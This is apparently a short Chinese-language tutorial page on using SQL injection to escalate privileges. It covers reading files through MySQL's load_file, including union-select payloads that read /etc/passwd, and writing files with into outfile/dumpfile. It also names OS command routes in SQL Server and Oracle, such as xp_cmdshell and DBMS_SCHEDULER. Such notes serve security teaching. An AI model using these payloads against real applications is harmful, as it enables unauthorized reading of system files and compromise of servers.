SQL注入之权限提升

一.访问文件系统

1.读文件

MySQL允许使用load data infile和load_file命令将文本文件读到数据库中。

首先创建一个文本文件users.txt

创建数据表:create table authors (fname char(20), sname char(20), email char(100), flag int);

导入数据库:load data infile ‘/tmp/users.txt’ into table authors fields terminated by ‘ ‘;

load_file函数可以避免创建数据表,直接传递数据:select load_file(‘/tmp/users.txt’);

读取文本文件:

‘ union select load_file(‘/etc/passwd’)# 报错

‘ union select null,load_file(‘/etc/passwd’)# 通过数据库读取/etc/passwd

注意:load_file命令要求使用单引号字符,有时应用会过滤单引号,可以使用十六进制编码替代字符串

读取二进制文件:

‘ union select null, HEX(load_file(‘/tem/temp.bin’))#

2.写文件

MySQL使用select A into outfile(dumpfile) B命令导入文件

写入文本文件:select ‘this is a test’ into outfile ‘/tmp/test.txt’;

写入二进制文件:aaa’ union select null,’hello world\n’ into dumpfile ‘/tmp/test.txt’ #

二.执行操作系统命令

提升权限(获取管理员权限):

1.SQL Server

openrowset命令:SQL Server 2000上,所有用户均可调用openrowset, 而在SQL Server 2005上,该操作默认被禁用

2.Oracle

在Oracle中,通过web应用的SQL注入来提升权限非常困难。大多数提升权限的方法均需要PL/SQL注入。

执行操作系统命令:

1.MySQL不支持执行shell命令

2.Oracle

extproc、Java和DBMS_SCHEDULER是oracle运行操作系统命令的正式方法

3.MSSQL

xp_cmdshell只接收一个参数

(0)
上一篇 2022年3月21日
下一篇 2022年3月21日

相关推荐